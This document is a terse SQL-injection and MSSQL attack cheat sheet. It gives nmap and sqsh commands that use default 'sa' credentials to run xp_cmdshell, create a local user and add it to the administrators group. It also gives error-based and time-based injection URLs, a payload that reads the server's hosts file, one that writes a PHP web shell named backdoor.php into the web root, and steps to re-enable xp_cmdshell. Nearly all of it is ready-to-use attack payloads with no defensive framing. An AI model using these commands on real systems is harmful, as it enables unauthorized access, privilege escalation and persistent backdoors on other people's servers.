SQL Injection with nmap:
nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS

nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add"

nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net localgroup administrators bhanu /add" 
SQSH usage:
sqsh -S IP_Address:PORT -u username -p password
EXEC xp_cmdshell 'net users /add bhanu bhanu123'

\go

EXEC xp_cmdshell 'net localgroup administrators bhanu /add'

\go
ERROR BASED SQL Injection:
============================
website.com/comment.php?id=1'   /Breaks the statement
website.com/comment.php?id=738 order by 1 /Order by first column with reference to select query
website.com/comment.php?id=738 order by 7 /increase the column count, until we get an error
      /This statement broke at 7, so only 6 columns
website.com/comment.php?id=738 union select 1,2,3,4,5,6
  /union all is used to combine 2 or more select statements
  /Where ever output is displayed - it is suitable to enumerate, here 5

TIME BASED SQL INJECTION:
--------------------------
In Time  Based SQL injection - if the query is true - it will wait for the sleep time or else 
executed immediately.

website.com/comment.php?id=738-sleep(5)  /5 Seconds to load
website.com/comment.php?id=738-IF(MID(@@version,1,1)='4',SLEEP(5),0)
    /Executes after 5 seconds -Because the statement is true

website.com/comment.php?id=738-IF(MID(@@version,1,1)='4',SLEEP(5),0) 
    /Executes Immediately - Statement is false


website.com/comment.php?id=738 union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
    /Loading a file from the server

website.com/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec(#_GET['cmd']);?>",6 into OUTFILE 'C:/xampp/htdocs/backdoor.php'

If xp_cmdshell is disabled:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
